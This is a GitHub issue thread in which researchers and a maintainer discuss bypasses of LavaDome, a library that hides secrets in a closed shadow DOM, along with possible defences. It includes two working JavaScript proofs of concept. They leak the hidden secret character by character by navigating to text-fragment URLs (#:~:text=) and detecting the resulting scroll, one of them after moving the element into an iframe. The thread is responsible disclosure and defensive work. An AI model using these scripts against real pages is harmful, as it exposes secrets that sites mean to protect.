Open masatokinugawa opened 2 months ago
This one is WILD. Really cool. Will have to think about this one.
Any ideas for how to defend against this one? @masatokinugawa @lbherrera
Hmm, how about placing an SVG image containing the secret inside the closed shadow? like <img src="data:image/svg+xml;base64,...">
.
This way will prevent window.find()
trick (#15) also.
SVG was considered originally for obvious reasons, but is currently rejected for making UI/UX integration far harder (as in, natural adaptation of style of the page becomes unnatural).
Not saying SVG is a hard-pass, but I would want to consider other options before defaulting to SVG.
Thinking out loud here:
What if I integrated something similar to this:
navigation.addEventListener("navigate", (event) => {
if (event.destination.url.includes('#:~:')) {
event.preventDefault();
}
});
Would this be "bypassable" IYO? Because this does prevent the current version of your bypass @masatokinugawa
It looks like we can put any string between #
and :~:
, so this still works:
document.querySelector('h1').style.height = "1000px"; // Ensure that scrolling occurs
window.scroll(0, 0);
const sleep = ms => new Promise(r => setTimeout(r, ms));
const secretChars = "0123456789abcdef";
const secretLength = 32;
let foundChars = "";
for (let i = 0; i < secretLength; i++) {
for (let j = 0; j < secretChars.length; j++) {
location=`https://lavamoat.github.io/LavaDome/packages/core/demo/#foo:~:text=This%20is%20a%20secret:-,${foundChars}${secretChars[j]}`;
await sleep(100); // Need to bypass Chrome's hang protection
if (window.scrollY !== 0) {
foundChars += secretChars[j];
console.log(foundChars);
window.scroll(0, 0);
break;
}
}
}
I'm less worried about that because that's addressable with more resilient identification of such URL search fragments. What I'm worried about is whether there's a core issue with this approach that can be bypassed completely (assuming we find a resilient way to tell a redirect to a "#:~:" is happening)
Here's a more stable version of what I had in mind with an explanation additionally https://github.com/LavaMoat/LavaDome/pull/38 @masatokinugawa
I can't think of the bypass, at least for now. It looks good.
I found that this can be bypassed by copying the element to another iframe (or window).
const iframe = document.createElement('iframe');
iframe.src = "404";//arbitrary same-origin page
iframe.onload = async function() {
iframe.onload = null;
const iframeWindow = iframe.contentWindow;
const secretElement = PRIVATE.parentNode;
iframeWindow.document.body.appendChild(secretElement);
iframeWindow.scroll(0, 0);
const sleep = ms => new Promise(r => setTimeout(r, ms));
const secretChars = "0123456789abcdef";
const secretLength = 32;
let foundChars = "";
for (let i = 0; i < secretLength; i++) {
for (let j = 0; j < secretChars.length; j++) {
iframe.src = `404#:~:text=This%20is%20a%20secret:-,${foundChars}${secretChars[j]}`;
await sleep(100); // Need to bypass Chrome's hang protection
if (iframeWindow.scrollY !== 0) {
foundChars += secretChars[j];
console.log(foundChars);
iframeWindow.scroll(0, 0);
break;
}
}
}
}
document.body.appendChild(iframe);
It is similar to #39 in that it abuses another window but the crucial difference from #39 is that the leaked data is a secret included in the main realm, not in the child. Like #39, this seems like a difficult problem to solve, but I wrote it down just in case.
Super helpful.
Makes me realize I should probably teach the LavaDome instance to bail when is being attached to a realm that isn't the top.
I noticed that the text in the closed shadow can be leaked by detecting the scroll caused by text fragments.
This is inspired by an issue found by @lbherrera in one app.